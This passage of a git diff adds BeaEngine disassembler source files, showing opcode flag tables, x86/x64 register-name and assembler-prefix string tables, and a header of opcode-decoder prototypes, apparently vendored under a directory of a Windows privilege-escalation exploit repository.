, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 84-RDTSC */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 85-REP REPE REPNE */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 86-RET */ + {MO_, 0 , 0 , 0 , 0 , MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 87-ROL ROR 1 */ + {UN_, 0 , 0 , 0 , 0 , MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 88-ROL ROR */ + {MO_, MO_, MO_, MO_, MO_, MO_, MO_, MO_, MO_, MO_, MO_, 0}, /* 89-RSM */ + + {0 , PR_, PR_, PR_, PR_, PR_, 0 , 0 , 0 , 0 , 0, 0}, /* 90-SAHF */ + {MO_, MO_, MO_, 0 , MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 91-SAL SAR SHL SHR 1 */ + {0 , MO_, MO_, 0 , MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 92-SAL SAR SHL SHR */ + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 93-SBB */ + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 94-SCAS */ + {TE_, TE_, TE_, 0 , TE_, TE_, 0 , 0 , 0 , 0 , 0, 0}, /* 95-SETcc */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 96-SGDT SIDT SLDT SMSW */ + {UN_, MO_, MO_, UN_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 97-SHLD SHRD */ + {0 , 0 , 0 , 0 , 0 , SE_, 0 , 0 , 0 , 0 , 0, 0}, /* 98-STC */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , SE_, 0 , 0, 0}, /* 99-STD */ + + {0 , 0 , 0 , 0 , 0 , 0 , 0 , SE_, 0 , 0 , 0, 0}, /* 100-STI */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 101-STOS */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 102-STR */ + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 103-SUB */ + {RE_, MO_, MO_, UN_, MO_, RE_, 0 , 0 , 0 , 0 , 0, 0}, /* 104-TEST */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 105-UD2 */ + {0 , 0 , MO_, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 106-VERR VERRW */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 107-WAIT */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 108-WBINVD */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 109-WRMSR */ + + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 110-XADD */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 111-XCHG */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 112-XLAT */ + {RE_, MO_, MO_, UN_, MO_, RE_, 0 , 0 , 0 , 0 , 0, 0}, /* 113-XOR */ + + {RE_, RE_, MO_, RE_, RE_, RE_, 0 , 0 , 0 , 0 , 0, 0} /* 114-POPCNT */ + + + }; +/* ===================================================== + * To make a tabulation between mnemonic and first argument + * ===================================================== */ +char space_tab[11][16] = { + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + " ", + +}; +/* ===================================================== + * Segment registers + * ===================================================== */ +char SegmentRegs[7][4] = { + "??:", /* +0 */ + "es:", /* +1 */ + "ds:", /* +2 */ + "fs:", /* +3 */ + "gs:", /* +4 */ + "cs:", /* +5 */ + "ss:", /* +6 */ +}; +/* ===================================================== + * AT&T Suffixes + * ===================================================== */ +char ATSuffixes[8][4] = { + "b ", /* GV.MemDecoration == 1 */ + "w ", /* GV.MemDecoration == 2 */ + "l ", /* GV.MemDecoration == 3 */ + "q ", /* GV.MemDecoration == 4 */ + " ", /* GV.MemDecoration == 5 (multibytes) */ + "t ", /* GV.MemDecoration == 6 */ + " ", /* GV.MemDecoration == 7 (fword) */ + " ", /* GV.MemDecoration == 8 (dqword) */ +}; + +/* ===================================================== + * MASM Prefixes for MemoryType + * ===================================================== */ + +char MasmPrefixes[8][16] = { + "byte ptr ", /* GV.MemDecoration == 1 */ + "word ptr ", /* GV.MemDecoration == 2 */ + "dword ptr ", /* GV.MemDecoration == 3 */ + "qword ptr ", /* GV.MemDecoration == 4 */ + " ", /* GV.MemDecoration == 5 (multibytes) */ + "tbyte ptr ", /* GV.MemDecoration == 6 */ + "fword ptr ", /* GV.MemDecoration == 7 (fword) */ + "dqword ptr ", /* GV.MemDecoration == 8 (dqword) */ +}; + +/* ===================================================== + * NASM Prefixes for MemoryType + * ===================================================== */ +char NasmPrefixes[8][8] = { + "byte ", /* GV.MemDecoration == 1 */ + "word ", /* GV.MemDecoration == 2 */ + "dword ", /* GV.MemDecoration == 3 */ + "qword ", /* GV.MemDecoration == 4 */ + " ", /* GV.MemDecoration == 5 (multibytes) */ + "tword ", /* GV.MemDecoration == 6 */ + " ", /* GV.MemDecoration == 7 (fword) */ + " ", /* GV.MemDecoration == 8 (dqword) */ +}; + + + +/* ===================================================== + * GOASM Prefixes for MemoryType + * ===================================================== */ +char GoAsmPrefixes[8][4] = { + "b ", /* GV.MemDecoration == 1 */ + "w ", /* GV.MemDecoration == 2 */ + "d ", /* GV.MemDecoration == 3 */ + "q ", /* GV.MemDecoration == 4 */ + " ", /* GV.MemDecoration == 5 (multibytes) */ + "t ", /* GV.MemDecoration == 6 */ + " ", /* GV.MemDecoration == 7 (fword) */ + " ", /* GV.MemDecoration == 8 (dqword) */ +}; + + +/* ===================================================== + * Segment registers + * ===================================================== */ +char RegistersSEG[16][8] = { + "es", /* +0 */ + "cs", /* +1 */ + "ss", /* +2 */ + "ds", /* +3 */ + "fs", /* +4 */ + "gs", /* +5 */ + "seg?", + "seg?", + "seg?", + "seg?", + "seg?", + "seg?", + "seg?", + "seg?", + "seg?", + "seg?", +}; + +/* ===================================================== + * FPU Registers + * ===================================================== */ +char RegistersFPU_Masm[8][8] = { + "st(0)", /* +0 */ + "st(1)", /* +1 */ + "st(2)", /* +2 */ + "st(3)", /* +3 */ + "st(4)", /* +4 */ + "st(5)", /* +5 */ + "st(6)", /* +6 */ + "st(7)", /* +7 */ +}; + +char RegistersFPU_Nasm[8][8] = { + "st0", /* +0 */ + "st1", /* +1 */ + "st2", /* +2 */ + "st3", /* +3 */ + "st4", /* +4 */ + "st5", /* +5 */ + "st6", /* +6 */ + "st7", /* +7 */ +}; + +/* ===================================================== + * debug registers + * ===================================================== */ +char RegistersDR[16][8] = { + "dr0", /* +0 */ + "dr1", /* +1 */ + "dr2", /* +2 */ + "dr3", /* +3 */ + "dr4", /* +4 */ + "dr5", /* +5 */ + "dr6", /* +6 */ + "dr7", /* +7 */ + "dr8", /* +8 */ + "dr9", /* +9 */ + "dr10", /* +10 */ + "dr11", /* +11 */ + "dr12", /* +12 */ + "dr13", /* +13 */ + "dr14", /* +14 */ + "dr15", /* +15 */ +}; + +/* ===================================================== + * debug registers-AT&T syntax + * ===================================================== */ +char RegistersDR_AT[16][8] = { + "db0", /* +0 */ + "db1", /* +1 */ + "db2", /* +2 */ + "db3", /* +3 */ + "db4", /* +4 */ + "db5", /* +5 */ + "db6", /* +6 */ + "db7", /* +7 */ + "db8", /* +8 */ + "db9", /* +9 */ + "db10", /* +10 */ + "db11", /* +11 */ + "db12", /* +12 */ + "db13", /* +13 */ + "db14", /* +14 */ + "db15", /* +15 */ +}; + + +/* ===================================================== + * control registers + * ===================================================== */ +char RegistersCR[16][8] = { + "cr0", /* +0 */ + "cr1", /* +1 */ + "cr2", /* +2 */ + "cr3", /* +3 */ + "cr4", /* +4 */ + "cr5", /* +5 */ + "cr6", /* +6 */ + "cr7", /* +7 */ + "cr8", /* +8 */ + "cr9", /* +9 */ + "cr10", /* +10 */ + "cr11", /* +11 */ + "cr12", /* +12 */ + "cr13", /* +13 */ + "cr14", /* +14 */ + "cr15", /* +15 */ +}; + + + +/* ===================================================== + * 64 bits registers + * ===================================================== */ +char Registers64Bits[16][4] = { + "rax", /* +0 */ + "rcx", /* +1 */ + "rdx", /* +2 */ + "rbx", /* +3 */ + "rsp", /* +4 */ + "rbp", /* +5 */ + "rsi", /* +6 */ + "rdi", /* +7 */ + "r8", /* +8 */ + "r9", /* +9 */ + "r10", /* +10 */ + "r11", /* +11 */ + "r12", /* +12 */ + "r13", /* +13 */ + "r14", /* +14 */ + "r15", /* +15 */ +}; + +/* ===================================================== + * 32 bits registers + * ===================================================== */ +char Registers32Bits[16][8] = { + "eax", + "ecx", + "edx", + "ebx", + "esp", + "ebp", + "esi", + "edi", + "r8d", + "r9d", + "r10d", + "r11d", + "r12d", + "r13d", + "r14d", + "r15d", +}; + +/* ===================================================== + * 16 bits registers + * ===================================================== */ +char Registers16Bits[16][8] = { + "ax", + "cx", + "dx", + "bx", + "sp", + "bp", + "si", + "di", + "r8w", + "r9w", + "r10w", + "r11w", + "r12w", + "r13w", + "r14w", + "r15w", +}; +/* ===================================================== + * 8 bits registers + * ===================================================== */ +char Registers8BitsLegacy[8][4] = { + "al", + "cl", + "dl", + "bl", + "ah", + "ch", + "dh", + "bh", +}; + +Int32 REGS8BITS[] = { + REG0, + REG1, + REG2, + REG3, + REG0, + REG1, + REG2, + REG3, +}; + +/* ===================================================== + * 8 bits registers + * ===================================================== */ +char Registers8Bits[16][8] = { + "al", + "cl", + "dl", + "bl", + "spl", + "bpl", + "sil", + "dil", + "r8L", + "r9L", + "r10L", + "r11L", + "r12L", + "r13L", + "r14L", + "r15L", +}; +/* ===================================================== + * MMX Registers + * ===================================================== */ +char RegistersMMX[8][4] = { + "mm0", + "mm1", + "mm2", + "mm3", + "mm4", + "mm5", + "mm6", + "mm7", +}; + +/* ===================================================== + * SSE Registers + * ===================================================== */ +char RegistersSSE[16][8] = { + "xmm0", + "xmm1", + "xmm2", + "xmm3", + "xmm4", + "xmm5", + "xmm6", + "xmm7", + "xmm8", /* SSE3, SSSE3, SSE4 */ + "xmm9", /* SSE3, SSSE3, SSE4 */ + "xmm10", /* SSE3, SSSE3, SSE4 */ + "xmm11", /* SSE3, SSSE3, SSE4 */ + "xmm12", /* SSE3, SSSE3, SSE4 */ + "xmm13", /* SSE3, SSSE3, SSE4 */ + "xmm14", /* SSE3, SSSE3, SSE4 */ + "xmm15", /* SSE3, SSSE3, SSE4 */ +}; + +Int32 REGS[] = { + REG0, /* REG0 */ + REG1, /* REG1 */ + REG2, /* REG2 */ + REG3, /* REG3 */ + REG4, /* REG4 */ + REG5, /* REG5 */ + REG6, /* REG6 */ + REG7, /* REG7 */ + REG8, /* REG8 */ + REG9, /* REG9 */ + REG10, /* REG10 */ + REG11, /* REG11 */ + REG12, /* REG12 */ + REG13, /* REG13 */ + REG14, /* REG14 */ + REG15, /* REG15 */ +}; + +char BXSI_[] = "bx+si"; +char BXDI_[] = "bx+di"; +char BPSI_[] = "bp+si"; +char BPDI_[] = "bp+di"; + + + diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/protos.h b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/protos.h new file mode 100644 index 0000000..7f8568b --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/protos.h @@ -0,0 +1,705 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + + +/* ====================================== Routines_MODRM */ +void __bea_callspec__ MOD_RM(ARGTYPE*, PDISASM); +void __bea_callspec__ Reg_Opcode(ARGTYPE*, PDISASM); + +void __bea_callspec__ Addr_EAX(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_ECX(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EDX(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EBX(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_SIB(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_disp32(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_ESI(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EDI(ARGTYPE*, PDISASM); + +void __bea_callspec__ Addr_EAX_disp8(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_ECX_disp8(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EDX_disp8(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EBX_disp8(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_SIB_disp8(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EBP_disp8(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_ESI_disp8(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EDI_disp8(ARGTYPE*, PDISASM); + +void __bea_callspec__ Addr_EAX_disp32(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_ECX_disp32(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EDX_disp32(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EBX_disp32(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_SIB_disp32(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EBP_disp32(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_ESI_disp32(ARGTYPE*, PDISASM); +void __bea_callspec__ Addr_EDI_disp32(ARGTYPE*, PDISASM); + +void __bea_callspec__ _rEAX(ARGTYPE*, PDISASM); +void __bea_callspec__ _rECX(ARGTYPE*, PDISASM); +void __bea_callspec__ _rEDX(ARGTYPE*, PDISASM); +void __bea_callspec__ _rEBX(ARGTYPE*, PDISASM); +void __bea_callspec__ _rESP(ARGTYPE*, PDISASM); +void __bea_callspec__ _rEBP(ARGTYPE*, PDISASM); +void __bea_callspec__ _rESI(ARGTYPE*, PDISASM); +void __bea_callspec__ _rEDI(ARGTYPE*, PDISASM); + +size_t __bea_callspec__ SIB_0(ARGTYPE*, size_t, PDISASM); +size_t __bea_callspec__ SIB_1(ARGTYPE*, size_t, PDISASM); +size_t __bea_callspec__ SIB_2(ARGTYPE*, size_t, PDISASM); +size_t __bea_callspec__ SIB_3(ARGTYPE*, size_t, PDISASM); + +/* ====================================== Routines_Disasm */ +void __bea_callspec__ CompleteInstructionFields (PDISASM); +void __bea_callspec__ EbGb(PDISASM); +void __bea_callspec__ EvGv(PDISASM); +void __bea_callspec__ EvIb(PDISASM); +void __bea_callspec__ ExGx(PDISASM); +void __bea_callspec__ EvIv(PDISASM); +void __bea_callspec__ EbIb(PDISASM); +void __bea_callspec__ Eb(PDISASM); +void __bea_callspec__ Ev(PDISASM); +void __bea_callspec__ GvEv(PDISASM); +void __bea_callspec__ GvEb(PDISASM); +void __bea_callspec__ GxEx(PDISASM); +void __bea_callspec__ GvEw(PDISASM); +void __bea_callspec__ GbEb(PDISASM); +void __bea_callspec__ ALIb(PDISASM); +void __bea_callspec__ eAX_Iv(PDISASM); +int __bea_callspec__ AnalyzeOpcode (PDISASM); +int __bea_callspec__ Security(int, PDISASM); +void __bea_callspec__ CalculateRelativeAddress(UInt64 *, Int64, PDISASM); +size_t __bea_callspec__ CopyFormattedNumber(PDISASM, char*, const char*, Int64); +void __bea_callspec__ BuildCompleteInstruction(PDISASM); +void __bea_callspec__ BuildCompleteInstructionATSyntax(PDISASM); +int __bea_callspec__ InitVariables (PDISASM); +void __bea_callspec__ FillFlags(PDISASM, int); +void __bea_callspec__ FillSegmentsRegisters (PDISASM); +void __bea_callspec__ FixArgSizeForMemoryOperand (PDISASM); +void __bea_callspec__ FixREXPrefixes (PDISASM); + +/* ====================================== opcodes_prefix */ +void __bea_callspec__ PrefLock(PDISASM); +void __bea_callspec__ PrefREPNE(PDISASM); +void __bea_callspec__ PrefREPE(PDISASM); +void __bea_callspec__ PrefSEGCS(PDISASM); +void __bea_callspec__ PrefSEGDS(PDISASM); +void __bea_callspec__ PrefSEGES(PDISASM); +void __bea_callspec__ PrefSEGFS(PDISASM); +void __bea_callspec__ PrefSEGGS(PDISASM); +void __bea_callspec__ PrefSEGSS(PDISASM); +void __bea_callspec__ PrefOpSize(PDISASM); +void __bea_callspec__ PrefAdSize(PDISASM); +void __bea_callspec__ Esc_2byte(PDISASM); +void __bea_callspec__ Esc_tableA4(PDISASM); +void __bea_callspec__ Esc_tableA5(PDISASM); + + +/* ====================================== opcodes_A_M */ +void __bea_callspec__ FailDecode(PDISASM); +void __bea_callspec__ aaa_(PDISASM); +void __bea_callspec__ aad_(PDISASM); +void __bea_callspec__ aas_(PDISASM); +void __bea_callspec__ aam_(PDISASM); +void __bea_callspec__ add_EbGb(PDISASM); +void __bea_callspec__ add_EvGv(PDISASM); +void __bea_callspec__ add_GbEb(PDISASM); +void __bea_callspec__ add_GvEv(PDISASM); +void __bea_callspec__ add_ALIb(PDISASM); +void __bea_callspec__ add_eAX_Iv(PDISASM); +void __bea_callspec__ adc_ALIb(PDISASM); +void __bea_callspec__ adc_eAX_Iv(PDISASM); +void __bea_callspec__ adc_EbGb(PDISASM); +void __bea_callspec__ adc_EvGv(PDISASM); +void __bea_callspec__ adc_GbEb(PDISASM); +void __bea_callspec__ adc_GvEv(PDISASM); +void __bea_callspec__ and_EbGb(PDISASM); +void __bea_callspec__ and_ALIb(PDISASM); +void __bea_callspec__ and_eAX_Iv(PDISASM); +void __bea_callspec__ and_EvGv(PDISASM); +void __bea_callspec__ and_GbEb(PDISASM); +void __bea_callspec__ and_GvEv(PDISASM); +void __bea_callspec__ arpl_(PDISASM); +void __bea_callspec__ bound_(PDISASM); +void __bea_callspec__ bswap_eax(PDISASM); +void __bea_callspec__ bswap_ebp(PDISASM); +void __bea_callspec__ bswap_ebx(PDISASM); +void __bea_callspec__ bswap_ecx(PDISASM); +void __bea_callspec__ bswap_edi(PDISASM); +void __bea_callspec__ bswap_edx(PDISASM); +void __bea_callspec__ bswap_esi(PDISASM); +void __bea_callspec__ bswap_esp(PDISASM); +void __bea_callspec__ bsf_GvEv(PDISASM); +void __bea_callspec__ bsr_GvEv(PDISASM); +void __bea_callspec__ btc_EvGv(PDISASM); +void __bea_callspec__ btr_EvGv(PDISASM); +void __bea_callspec__ bt_EvGv(PDISASM); +void __bea_callspec__ bts_EvGv(PDISASM); +void __bea_callspec__ callf_(PDISASM); +void __bea_callspec__ call_(PDISASM); +void __bea_callspec__ cdq_(PDISASM); +void __bea_callspec__ clts_(PDISASM); +void __bea_callspec__ cmc_(PDISASM); +void __bea_callspec__ cmovo_(PDISASM); +void __bea_callspec__ cmovno_(PDISASM); +void __bea_callspec__ cmovb_(PDISASM); +void __bea_callspec__ cmovnb_(PDISASM); +void __bea_callspec__ cmove_(PDISASM); +void __bea_callspec__ cmovne_(PDISASM); +void __bea_callspec__ cmovbe_(PDISASM); +void __bea_callspec__ cmovnbe_(PDISASM); +void __bea_callspec__ cmovs_(PDISASM); +void __bea_callspec__ cmovns_(PDISASM); +void __bea_callspec__ cmovp_(PDISASM); +void __bea_callspec__ cmovnp_(PDISASM); +void __bea_callspec__ cmovl_(PDISASM); +void __bea_callspec__ cmovnl_(PDISASM); +void __bea_callspec__ cmovle_(PDISASM); +void __bea_callspec__ cmovnle_(PDISASM); +void __bea_callspec__ cmpx_EbGb(PDISASM); +void __bea_callspec__ cmpx_EvGv(PDISASM); +void __bea_callspec__ cmp_EbGb(PDISASM); +void __bea_callspec__ cmp_EvGv(PDISASM); +void __bea_callspec__ cmp_GbEb(PDISASM); +void __bea_callspec__ cmp_GvEv(PDISASM); +void __bea_callspec__ cmp_ALIb(PDISASM); +void __bea_callspec__ cmp_eAX_Iv(PDISASM); +void __bea_callspec__ cmpsb_(PDISASM); +void __bea_callspec__ cmps_(PDISASM); +void __bea_callspec__ cwde_(PDISASM); +void __bea_callspec__ clc_(PDISASM); +void __bea_callspec__ cld_(PDISASM); +void __bea_callspec__ cli_(PDISASM); +void __bea_callspec__ cpuid_(PDISASM); +void __bea_callspec__ daa_(PDISASM); +void __bea_callspec__ das_(PDISASM); +void __bea_callspec__ dec_eax(PDISASM); +void __bea_callspec__ dec_ecx(PDISASM); +void __bea_callspec__ dec_edx(PDISASM); +void __bea_callspec__ dec_ebx(PDISASM); +void __bea_callspec__ dec_esp(PDISASM); +void __bea_callspec__ dec_ebp(PDISASM); +void __bea_callspec__ dec_esi(PDISASM); +void __bea_callspec__ dec_edi(PDISASM); +void __bea_callspec__ enter_(PDISASM); +void __bea_callspec__ femms_(PDISASM); +void __bea_callspec__ hlt_(PDISASM); +void __bea_callspec__ invd_(PDISASM); +void __bea_callspec__ inc_eax(PDISASM); +void __bea_callspec__ inc_ecx(PDISASM); +void __bea_callspec__ inc_edx(PDISASM); +void __bea_callspec__ inc_ebx(PDISASM); +void __bea_callspec__ inc_esp(PDISASM); +void __bea_callspec__ inc_ebp(PDISASM); +void __bea_callspec__ inc_esi(PDISASM); +void __bea_callspec__ inc_edi(PDISASM); +void __bea_callspec__ iret_(PDISASM); +void __bea_callspec__ in_ALDX(PDISASM); +void __bea_callspec__ in_ALIb(PDISASM); +void __bea_callspec__ in_eAX_Ib(PDISASM); +void __bea_callspec__ insb_(PDISASM); +void __bea_callspec__ ins_(PDISASM); +void __bea_callspec__ into_(PDISASM); +void __bea_callspec__ in_eAX(PDISASM); +void __bea_callspec__ int_(PDISASM); +void __bea_callspec__ int1_(PDISASM); +void __bea_callspec__ int3_(PDISASM); +void __bea_callspec__ imul_GvEvIv(PDISASM); +void __bea_callspec__ imul_GvEv(PDISASM); +void __bea_callspec__ imul_GvEvIb(PDISASM); +void __bea_callspec__ jo_(PDISASM); +void __bea_callspec__ jno_(PDISASM); +void __bea_callspec__ jc_(PDISASM); +void __bea_callspec__ jnc_(PDISASM); +void __bea_callspec__ je_(PDISASM); +void __bea_callspec__ jne_(PDISASM); +void __bea_callspec__ jbe_(PDISASM); +void __bea_callspec__ jnbe_(PDISASM); +void __bea_callspec__ js_(PDISASM); +void __bea_callspec__ jns_(PDISASM); +void __bea_callspec__ jp_(PDISASM); +void __bea_callspec__ jnp_(PDISASM); +void __bea_callspec__ jl_(PDISASM); +void __bea_callspec__ jnl_(PDISASM); +void __bea_callspec__ jle_(PDISASM); +void __bea_callspec__ jnle_(PDISASM); +void __bea_callspec__ jo_near(PDISASM); +void __bea_callspec__ jno_near(PDISASM); +void __bea_callspec__ jc_near(PDISASM); +void __bea_callspec__ jnc_near(PDISASM); +void __bea_callspec__ je_near(PDISASM); +void __bea_callspec__ jne_near(PDISASM); +void __bea_callspec__ jbe_near(PDISASM); +void __bea_callspec__ ja_near(PDISASM); +void __bea_callspec__ js_near(PDISASM); +void __bea_callspec__ jns_near(PDISASM); +void __bea_callspec__ jp_near(PDISASM); +void __bea_callspec__ jnp_near(PDISASM); +void __bea_callspec__ jl_near(PDISASM); +void __bea_callspec__ jnl_near(PDISASM); +void __bea_callspec__ jle_near(PDISASM); +void __bea_callspec__ jnle_near(PDISASM); +void __bea_callspec__ jecxz_(PDISASM); +void __bea_callspec__ jmp_near(PDISASM); +void __bea_callspec__ jmp_far(PDISASM); +void __bea_callspec__ jmp_short(PDISASM); +void __bea_callspec__ lahf_(PDISASM); +void __bea_callspec__ lar_GvEw(PDISASM); +void __bea_callspec__ lds_GvM(PDISASM); +void __bea_callspec__ leave_(PDISASM); +void __bea_callspec__ lea_GvM(PDISASM); +void __bea_callspec__ les_GvM(PDISASM); +void __bea_callspec__ lodsb_(PDISASM); +void __bea_callspec__ lodsw_(PDISASM); +void __bea_callspec__ loop_(PDISASM); +void __bea_callspec__ loope_(PDISASM); +void __bea_callspec__ loopne_(PDISASM); +void __bea_callspec__ lsl_GvEw(PDISASM); +void __bea_callspec__ lss_Mp(PDISASM); +void __bea_callspec__ lfs_Mp(PDISASM); +void __bea_callspec__ lgs_Mp(PDISASM); +void __bea_callspec__ mov_RdCd(PDISASM); +void __bea_callspec__ mov_RdDd(PDISASM); +void __bea_callspec__ mov_CdRd(PDISASM); +void __bea_callspec__ mov_DdRd(PDISASM); +void __bea_callspec__ mov_EbGb(PDISASM); +void __bea_callspec__ mov_EvGv(PDISASM); +void __bea_callspec__ mov_GbEb(PDISASM); +void __bea_callspec__ mov_GvEv(PDISASM); +void __bea_callspec__ mov_ALOb(PDISASM); +void __bea_callspec__ mov_eAXOv(PDISASM); +void __bea_callspec__ mov_ObAL(PDISASM); +void __bea_callspec__ mov_OveAX(PDISASM); +void __bea_callspec__ mov_ALIb(PDISASM); +void __bea_callspec__ mov_CLIb(PDISASM); +void __bea_callspec__ mov_DLIb(PDISASM); +void __bea_callspec__ mov_BLIb(PDISASM); +void __bea_callspec__ mov_AHIb(PDISASM); +void __bea_callspec__ mov_CHIb(PDISASM); +void __bea_callspec__ mov_DHIb(PDISASM); +void __bea_callspec__ mov_BHIb(PDISASM); +void __bea_callspec__ movs_(PDISASM); +void __bea_callspec__ movsw_(PDISASM); +void __bea_callspec__ movzx_GvEb(PDISASM); +void __bea_callspec__ movsx_GvEb(PDISASM); +void __bea_callspec__ movzx_GvEw(PDISASM); +void __bea_callspec__ movsx_GvEw(PDISASM); +void __bea_callspec__ mov_EAX(PDISASM); +void __bea_callspec__ mov_ECX(PDISASM); +void __bea_callspec__ mov_EDX(PDISASM); +void __bea_callspec__ mov_EBX(PDISASM); +void __bea_callspec__ mov_ESP(PDISASM); +void __bea_callspec__ mov_EBP(PDISASM); +void __bea_callspec__ mov_ESI(PDISASM); +void __bea_callspec__ mov_EDI(PDISASM); +void __bea_callspec__ mov_EbIb(PDISASM); +void __bea_callspec__ mov_EvIv(PDISASM); +void __bea_callspec__ mov_EwSreg(PDISASM); +void __bea_callspec__ mov_SregEw(PDISASM); + +/* ====================================== opcodes_N_Z */ +void __bea_callspec__ nop_(PDISASM); +void __bea_callspec__ nop_Ev(PDISASM); +void __bea_callspec__ hint_nop(PDISASM); +void __bea_callspec__ or_EbGb(PDISASM); +void __bea_callspec__ or_EvGv(PDISASM); +void __bea_callspec__ or_GbEb(PDISASM); +void __bea_callspec__ or_GvEv(PDISASM); +void __bea_callspec__ or_ALIb(PDISASM); +void __bea_callspec__ or_eAX_Iv(PDISASM); +void __bea_callspec__ outsb_(PDISASM); +void __bea_callspec__ outsw_(PDISASM); +void __bea_callspec__ out_IbAL(PDISASM); +void __bea_callspec__ out_Ib_eAX(PDISASM); +void __bea_callspec__ out_DXAL(PDISASM); +void __bea_callspec__ out_DXeAX(PDISASM); +void __bea_callspec__ pop_Ev(PDISASM); +void __bea_callspec__ pop_eax(PDISASM); +void __bea_callspec__ pop_ecx(PDISASM); +void __bea_callspec__ pop_edx(PDISASM); +void __bea_callspec__ pop_ebx(PDISASM); +void __bea_callspec__ pop_esp(PDISASM); +void __bea_callspec__ pop_ebp(PDISASM); +void __bea_callspec__ pop_esi(PDISASM); +void __bea_callspec__ pop_edi(PDISASM); +void __bea_callspec__ pop_ds(PDISASM); +void __bea_callspec__ pop_es(PDISASM); +void __bea_callspec__ pop_fs(PDISASM); +void __bea_callspec__ pop_gs(PDISASM); +void __bea_callspec__ pop_ss(PDISASM); +void __bea_callspec__ popfd_(PDISASM); +void __bea_callspec__ popad_(PDISASM); +void __bea_callspec__ push_eax(PDISASM); +void __bea_callspec__ push_ecx(PDISASM); +void __bea_callspec__ push_edx(PDISASM); +void __bea_callspec__ push_ebx(PDISASM); +void __bea_callspec__ push_esp(PDISASM); +void __bea_callspec__ push_ebp(PDISASM); +void __bea_callspec__ push_esi(PDISASM); +void __bea_callspec__ push_edi(PDISASM); +void __bea_callspec__ push_cs(PDISASM); +void __bea_callspec__ push_ds(PDISASM); +void __bea_callspec__ push_es(PDISASM); +void __bea_callspec__ push_fs(PDISASM); +void __bea_callspec__ push_gs(PDISASM); +void __bea_callspec__ push_ss(PDISASM); +void __bea_callspec__ pushfd_(PDISASM); +void __bea_callspec__ pushad_(PDISASM); +void __bea_callspec__ push_Iv(PDISASM); +void __bea_callspec__ push_Ib(PDISASM); +void __bea_callspec__ pushfd_(PDISASM); +void __bea_callspec__ pushad_(PDISASM); +void __bea_callspec__ retn_(PDISASM); +void __bea_callspec__ ret_(PDISASM); +void __bea_callspec__ retf_(PDISASM); +void __bea_callspec__ retf_Iw(PDISASM); +void __bea_callspec__ rdtsc_(PDISASM); +void __bea_callspec__ rdmsr_(PDISASM); +void __bea_callspec__ rdpmc_(PDISASM); +void __bea_callspec__ rsm_(PDISASM); +void __bea_callspec__ sysenter_(PDISASM); +void __bea_callspec__ sysexit_(PDISASM); +void __bea_callspec__ sahf_(PDISASM); +void __bea_callspec__ salc_(PDISASM); +void __bea_callspec__ scasb_(PDISASM); +void __bea_callspec__ scas_(PDISASM); +void __bea_callspec__ 